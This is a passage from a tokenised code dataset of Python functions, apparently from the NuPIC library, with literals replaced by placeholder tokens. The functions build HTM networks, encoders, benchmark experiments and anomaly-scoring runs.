\"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>}<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m35"}
{"signature": "def benchmarkCategories(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>']),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\",<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\",<EOL>}<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m36"}
{"signature": "def benchmarkTwoVarsSquare(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\",\"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>']),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":  -<NUM_LIT:10>,<EOL>\"<STR_LIT>\":  <NUM_LIT>,<EOL>}<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m37"}
{"signature": "def benchmarkSawtooth(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT:value>\"],<EOL>last_record=self.splits['<STR_LIT>'],),<EOL>],<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT:value>\"<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT:value>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:int>\",<EOL>\"<STR_LIT>\":True,<EOL>},<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "Try running a basic experiment and permutations", "id": "f17409:c0:m38"}
{"signature": "def benchmarkHotGymSC(self):", "body": "<EOL>dataPath = os.path.join(self.datadir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>streamDef = dict(<EOL>version=<NUM_LIT:1>,<EOL>info=\"<STR_LIT>\",<EOL>streams=[<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=\"<STR_LIT>\",<EOL>columns=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>last_record=self.splits['<STR_LIT>'],)<EOL>],<EOL>aggregation={<EOL>'<STR_LIT>' : <NUM_LIT:1>,<EOL>'<STR_LIT>' : [<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>]<EOL>},<EOL>)<EOL>expDesc = OPFBenchmarkRunner.EXP_COMMON.copy()<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>expDesc[\"<STR_LIT>\"][\"<STR_LIT>\"] = [<NUM_LIT:0>]<EOL>expDesc.update({<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:float>\",<EOL>\"<STR_LIT>\":  <NUM_LIT:0>,<EOL>\"<STR_LIT>\":  <NUM_LIT:100>,<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\",<EOL>},<EOL>],<EOL>\"<STR_LIT>\": self.__recordsToProcess,<EOL>})<EOL>expdir = os.path.join(self.outdir,  \"<STR_LIT>\")<EOL>self.generateModules(expDesc,  expdir)<EOL>self.descriptions[\"<STR_LIT>\"]=(expdir, expDesc)<EOL>return expdir<EOL>", "docstring": "The HotGym dataset, only the first gym, solved using spatial\n        classification. This model learns the association between the date/time\n        stamp and the consumption - the model does not get consumption fed in at\n        the bottom.", "id": "f17409:c0:m39"}
{"signature": "def generateModules(self, expDesc, outdir):", "body": "<EOL>jobParams = dict(<EOL>desription=expDesc<EOL>)<EOL>shutil.rmtree(outdir, ignore_errors=True)<EOL>outdirv2term = os.path.join(outdir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>outdirv2noterm = os.path.join(outdir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>outdirdef = os.path.join(outdir, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>if self.__doV2Term:<EOL><INDENT>experiment_generator.expGenerator(args)<EOL><DEDENT>args = [<EOL>\"<STR_LIT>\" % (json.dumps(expDesc)),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" % (outdirv2noterm)<EOL>]<EOL>if self.__doV2noTerm:<EOL><INDENT>experiment_generator.expGenerator(args)<EOL><DEDENT>args = [<EOL>\"<STR_LIT>\" % (json.dumps(expDesc)),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" % (outdirdef)<EOL>]<EOL>if self.__doClusterDef:<EOL><INDENT>experiment_generator.expGenerator(args)<EOL><DEDENT>", "docstring": "This calls ExpGenerator to generate a base description file and\n        permutations file from expDesc.\n\n        Parameters:\n        -------------------------------------------------------------------\n        expDesc:       Experiment description dict\n        outDir:        Which output directory to use", "id": "f17409:c0:m40"}
{"signature": "def createEncoder():", "body": "encoder = MultiEncoder()<EOL>encoder.addMultipleEncoders({<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": <NUM_LIT:0.0>,<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:w>\": <NUM_LIT>,<EOL>\"<STR_LIT:n>\": <NUM_LIT>},<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": (<NUM_LIT>, <NUM_LIT>)}<EOL>})<EOL>return encoder<EOL>", "docstring": "Creates and returns a #MultiEncoder including a ScalarEncoder for\nenergy consumption and a DateEncoder for the time of the day.\n\n@see nupic/encoders/__init__.py for type to file-name mapping\n@see nupic/encoders for encoder source files", "id": "f17412:m0"}
{"signature": "def createRecordSensor(network, name, dataSource):", "body": "<EOL>regionType = \"<STR_LIT>\"<EOL>regionParams = json.dumps({\"<STR_LIT>\": _VERBOSITY})<EOL>network.addRegion(name, regionType, regionParams)<EOL>sensorRegion = network.regions[name].getSelf()<EOL>sensorRegion.encoder = createEncoder()<EOL>network.regions[name].setParameter(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>sensorRegion.dataSource = dataSource<EOL>return sensorRegion<EOL>", "docstring": "Creates a RecordSensor region that allows us to specify a file record\nstream as the input source.", "id": "f17412:m1"}
{"signature": "def createNetwork(dataSource):", "body": "network = Network()<EOL>sensor = createRecordSensor(network, name=_RECORD_SENSOR,<EOL>dataSource=dataSource)<EOL>createSpatialPooler(network, name=_L1_SPATIAL_POOLER,<EOL>inputWidth=sensor.encoder.getWidth())<EOL>linkType = \"<STR_LIT>\"<EOL>linkParams = \"<STR_LIT>\"<EOL>network.link(_RECORD_SENSOR, _L1_SPATIAL_POOLER, linkType, linkParams)<EOL>l1temporalMemory = createTemporalMemory(network, _L1_TEMPORAL_MEMORY)<EOL>network.link(_L1_SPATIAL_POOLER, _L1_TEMPORAL_MEMORY, linkType, linkParams)<EOL>classifierParams = {  <EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': '<STR_LIT:1>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>}<EOL>l1Classifier = network.addRegion(_L1_CLASSIFIER, \"<STR_LIT>\",<EOL>json.dumps(classifierParams))<EOL>l1Classifier.setParameter('<STR_LIT>', True)<EOL>l1Classifier.setParameter('<STR_LIT>', True)<EOL>network.link(_L1_TEMPORAL_MEMORY, _L1_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L1_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L1_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L1_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>l2inputWidth = l1temporalMemory.getSelf().getOutputElementCount(\"<STR_LIT>\")<EOL>createSpatialPooler(network, name=_L2_SPATIAL_POOLER, inputWidth=l2inputWidth)<EOL>network.link(_L1_TEMPORAL_MEMORY, _L2_SPATIAL_POOLER, linkType, linkParams)<EOL>createTemporalMemory(network, _L2_TEMPORAL_MEMORY)<EOL>network.link(_L2_SPATIAL_POOLER, _L2_TEMPORAL_MEMORY, linkType, linkParams)<EOL>l2Classifier = network.addRegion(_L2_CLASSIFIER, \"<STR_LIT>\",<EOL>json.dumps(classifierParams))<EOL>l2Classifier.setParameter('<STR_LIT>', True)<EOL>l2Classifier.setParameter('<STR_LIT>', True)<EOL>network.link(_L2_TEMPORAL_MEMORY, _L2_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L2_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L2_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(_RECORD_SENSOR, _L2_CLASSIFIER, linkType, linkParams,<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>return network<EOL>", "docstring": "Creates and returns a new Network with a sensor region reading data from\n    'dataSource'. There are two hierarchical levels, each with one SP and one TM.\n    @param dataSource - A RecordStream containing the input data\n    @returns a Network ready to run", "id": "f17412:m4"}
{"signature": "def runNetwork(network, numRecords, writer):", "body": "sensorRegion = network.regions[_RECORD_SENSOR]<EOL>l1SpRegion = network.regions[_L1_SPATIAL_POOLER]<EOL>l1TpRegion = network.regions[_L1_TEMPORAL_MEMORY]<EOL>l1Classifier = network.regions[_L1_CLASSIFIER]<EOL>l2SpRegion = network.regions[_L2_SPATIAL_POOLER]<EOL>l2TpRegion = network.regions[_L2_TEMPORAL_MEMORY]<EOL>l2Classifier = network.regions[_L2_CLASSIFIER]<EOL>l1PreviousPredictedColumns = []<EOL>l2PreviousPredictedColumns = []<EOL>l1PreviousPrediction = None<EOL>l2PreviousPrediction = None<EOL>l1ErrorSum = <NUM_LIT:0.0><EOL>l2ErrorSum = <NUM_LIT:0.0><EOL>for record in range(numRecords):<EOL><INDENT>network.run(<NUM_LIT:1>)<EOL>actual = float(sensorRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>])<EOL>l1Predictions = l1Classifier.getOutputData(\"<STR_LIT>\")<EOL>l1Probabilities = l1Classifier.getOutputData(\"<STR_LIT>\")<EOL>l1Prediction = l1Predictions[l1Probabilities.argmax()]<EOL>if l1PreviousPrediction is not None:<EOL><INDENT>l1ErrorSum += math.fabs(l1PreviousPrediction - actual)<EOL><DEDENT>l1PreviousPrediction = l1Prediction<EOL>l2Predictions = l2Classifier.getOutputData(\"<STR_LIT>\")<EOL>l2Probabilities = l2Classifier.getOutputData(\"<STR_LIT>\")<EOL>l2Prediction = l2Predictions[l2Probabilities.argmax()]<EOL>if l2PreviousPrediction is not None:<EOL><INDENT>l2ErrorSum += math.fabs(l2PreviousPrediction - actual)<EOL><DEDENT>l2PreviousPrediction = l2Prediction<EOL>l1AnomalyScore = l1TpRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>l2AnomalyScore = l2TpRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>writer.writerow((record, actual, l1PreviousPrediction, l1AnomalyScore, l2PreviousPrediction, l2AnomalyScore))<EOL>l1PredictedColumns = l1TpRegion.getOutputData(\"<STR_LIT>\").nonzero()[<NUM_LIT:0>]<EOL>l1PreviousPredictedColumns = copy.deepcopy(l1PredictedColumns)<EOL>l2PredictedColumns = l2TpRegion.getOutputData(\"<STR_LIT>\").nonzero()[<NUM_LIT:0>]<EOL>l2PreviousPredictedColumns = copy.deepcopy(l2PredictedColumns)<EOL><DEDENT>if numRecords > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % (l1ErrorSum / (numRecords - <NUM_LIT:1>)))<EOL>print(\"<STR_LIT>\" % (l2ErrorSum / (numRecords - <NUM_LIT:1>)))<EOL><DEDENT>", "docstring": "Runs specified Network writing the ensuing anomaly\nscores to writer.\n\n@param network: The Network instance to be run\n@param writer: A csv.writer used to write to output file.", "id": "f17412:m5"}
{"signature": "def createEncoder():", "body": "consumption_encoder = ScalarEncoder(<NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT>, n=<NUM_LIT:50>, name=\"<STR_LIT>\",<EOL>clipInput=True)<EOL>time_encoder = DateEncoder(timeOfDay=(<NUM_LIT>, <NUM_LIT>), name=\"<STR_LIT>\")<EOL>encoder = MultiEncoder()<EOL>encoder.addEncoder(\"<STR_LIT>\", consumption_encoder)<EOL>encoder.addEncoder(\"<STR_LIT>\", time_encoder)<EOL>return encoder<EOL>", "docstring": "Create the encoder instance for our test and return it.", "id": "f17413:m0"}
{"signature": "def createNetwork(dataSource):", "body": "network = Network()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({\"<STR_LIT>\": _VERBOSITY}))<EOL>sensor = network.regions[\"<STR_LIT>\"].getSelf()<EOL>sensor.encoder = createEncoder()<EOL>sensor.dataSource = dataSource<EOL>SP_PARAMS[\"<STR_LIT>\"] = sensor.encoder.getWidth()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(SP_PARAMS))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps(TM_PARAMS))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({}))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>spatialPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", False)<EOL>temporalPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>return network<EOL>", "docstring": "Create the Network instance.\n\n    The network has a sensor region reading data from `dataSource` and passing\n    the encoded representation to an SPRegion. The SPRegion output is passed to\n    a TMRegion.\n\n    :param dataSource: a RecordStream instance to get data from\n    :returns: a Network instance ready to run", "id": "f17413:m1"}
{"signature": "def runNetwork(network, writer):", "body": "sensorRegion = network.regions[\"<STR_LIT>\"]<EOL>spatialPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>temporalPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>anomalyLikelihoodRegion = network.regions[\"<STR_LIT>\"]<EOL>prevPredictedColumns = []<EOL>for i in range(_NUM_RECORDS):<EOL><INDENT>network.run(<NUM_LIT:1>)<EOL>consumption = sensorRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>anomalyScore = temporalPoolerRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>anomalyLikelihood = anomalyLikelihoodRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>writer.writerow((i, consumption, anomalyScore, anomalyLikelihood))<EOL><DEDENT>", "docstring": "Run the network and write output to writer.\n\n    :param network: a Network instance to run\n    :param writer: a csv.writer instance to write output to", "id": "f17413:m2"}
{"signature": "def compute(self, inputs, outputs):", "body": "outputs[\"<STR_LIT>\"][:] = inputs[\"<STR_LIT>\"]<EOL>", "docstring": "Run one iteration of IdentityRegion's compute", "id": "f17414:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "spec = {<EOL>\"<STR_LIT:description>\":IdentityRegion.__doc__,<EOL>\"<STR_LIT>\":True,<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT:description>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT:count>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":True,<EOL>\"<STR_LIT>\":False,<EOL>\"<STR_LIT>\":True,<EOL>\"<STR_LIT>\":False},<EOL>},<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT:description>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT:count>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":True,<EOL>\"<STR_LIT>\":True},<EOL>},<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT:description>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT:count>\":<NUM_LIT:1>,<EOL>\"<STR_LIT>\":\"<STR_LIT>\"},<EOL>},<EOL>}<EOL>return spec<EOL>", "docstring": "Return the Spec for IdentityRegion.", "id": "f17414:c0:m3"}
{"signature": "def createTemporalAnomaly(recordParams, spatialParams=_SP_PARAMS,<EOL>temporalParams=_TM_PARAMS,<EOL>verbosity=_VERBOSITY):", "body": "inputFilePath = recordParams[\"<STR_LIT>\"]<EOL>scalarEncoderArgs = recordParams[\"<STR_LIT>\"]<EOL>dateEncoderArgs = recordParams[\"<STR_LIT>\"]<EOL>scalarEncoder = ScalarEncoder(**scalarEncoderArgs)<EOL>dateEncoder = DateEncoder(**dateEncoderArgs)<EOL>encoder = MultiEncoder()<EOL>encoder.addEncoder(scalarEncoderArgs[\"<STR_LIT:name>\"], scalarEncoder)<EOL>encoder.addEncoder(dateEncoderArgs[\"<STR_LIT:name>\"], dateEncoder)<EOL>network = Network()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({\"<STR_LIT>\": verbosity}))<EOL>sensor = network.regions[\"<STR_LIT>\"].getSelf()<EOL>sensor.encoder = encoder<EOL>sensor.dataSource = FileRecordStream(streamID=inputFilePath)<EOL>spatialParams[\"<STR_LIT>\"] = sensor.encoder.getWidth()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps(spatialParams))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps(temporalParams))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>spatialPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>spatialPoolerRegion.setParameter(\"<STR_LIT>\", False)<EOL>temporalPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>temporalPoolerRegion.setParameter(\"<STR_LIT>\", True)<EOL>return network<EOL>", "docstring": "Generates a Network with connected RecordSensor, SP, TM.\n\n    This function takes care of generating regions and the canonical links.\n    The network has a sensor region reading data from a specified input and\n    passing the encoded representation to an SPRegion.\n    The SPRegion output is passed to a TMRegion.\n\n    Note: this function returns a network that needs to be initialized. This\n    allows the user to extend the network by adding further regions and\n    connections.\n\n    :param recordParams: a dict with parameters for creating RecordSensor region.\n    :param spatialParams: a dict with parameters for creating SPRegion.\n    :param temporalParams: a dict with parameters for creating TMRegion.\n    :param verbosity: an integer representing how chatty the network will be.", "id": "f17415:m0"}
{"signature": "def runNetwork(network, writer):", "body": "sensorRegion = network.regions[\"<STR_LIT>\"]<EOL>temporalPoolerRegion = network.regions[\"<STR_LIT>\"]<EOL>for i in range(_NUM_RECORDS):<EOL><INDENT>network.run(<NUM_LIT:1>)<EOL>anomalyScore = temporalPoolerRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>consumption = sensorRegion.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>writer.writerow((i, consumption, anomalyScore))<EOL><DEDENT>", "docstring": "Run the network and write output to writer.\n\n    :param network: a Network instance to run\n    :param writer: a csv.writer instance to write output to", "id": "f17415:m1"}
{"signature": "def createEncoder():", "body": "consumption_encoder = ScalarEncoder(<NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT>, n=<NUM_LIT:50>, name=\"<STR_LIT>\",<EOL>clipInput=True)<EOL>time_encoder = DateEncoder(timeOfDay=(<NUM_LIT>, <NUM_LIT>), name=\"<STR_LIT>\")<EOL>encoder = MultiEncoder()<EOL>encoder.addEncoder(\"<STR_LIT>\", consumption_encoder)<EOL>encoder.addEncoder(\"<STR_LIT>\", time_encoder)<EOL>return encoder<EOL>", "docstring": "Create the encoder instance for our test and return it.", "id": "f17416:m0"}
{"signature": "def createNetwork(dataSource):", "body": "network = Network()<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({\"<STR_LIT>\": _VERBOSITY}))<EOL>sensor = network.regions[\"<STR_LIT>\"].getSelf()<EOL>sensor.encoder = createEncoder()<EOL>sensor.dataSource = dataSource<EOL>sys.path.append(os.path.dirname(os.path.abspath(__file__)))<EOL>from custom_region.identity_region import IdentityRegion<EOL>Network.registerRegion(IdentityRegion)<EOL>network.addRegion(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>json.dumps({<EOL>\"<STR_LIT>\": sensor.encoder.getWidth(),<EOL>}))<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>network.initialize()<EOL>return network<EOL>", "docstring": "Create the Network instance.\n\n    The network has a sensor region reading data from `dataSource` and passing\n    the encoded representation to an Identity Region.\n\n    :param dataSource: a RecordStream instance to get data from\n    :returns: a Network instance ready to run", "id": "f17416:m1"}
{"signature": "def runNetwork(network, writer):", "body": "identityRegion = network.regions[\"<STR_LIT>\"]<EOL>for i in range(_NUM_RECORDS):<EOL><INDENT>network.run(<NUM_LIT:1>)<EOL>encoding = identityRegion.getOutputData(\"<STR_LIT>\")<EOL>writer.writerow((i, encoding))<EOL><DEDENT>", "docstring": "Run the network and write output to writer.\n\n    :param network: a Network instance to run\n    :param writer: a csv.writer instance to write output to", "id": "f17416:m2"}
{"signature": "def computeAccuracy(model, size, top):", "body": "accuracy = []<EOL>filename = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>with zipfile.ZipFile(filename) as archive:<EOL><INDENT>with archive.open(\"<STR_LIT>\") as datafile:<EOL><INDENT>for _ in range(<NUM_LIT:7>):<EOL><INDENT>next(datafile)<EOL><DEDENT>for _ in range(LEARNING_RECORDS):<EOL><INDENT>next(datafile)<EOL><DEDENT>for _ in range(size):<EOL><INDENT>pages = readUserSession(datafile)<EOL>model.resetSequenceStates()<EOL>for i in range(len(pages) - <NUM_LIT:1>):<EOL><INDENT>result = model.run({\"<STR_LIT>\": pages[i]})<EOL>inferences = result.inferences[\"<STR_LIT>\"][<NUM_LIT:1>]<EOL>predicted = sorted(list(inferences.items()), key=itemgetter(<NUM_LIT:1>), 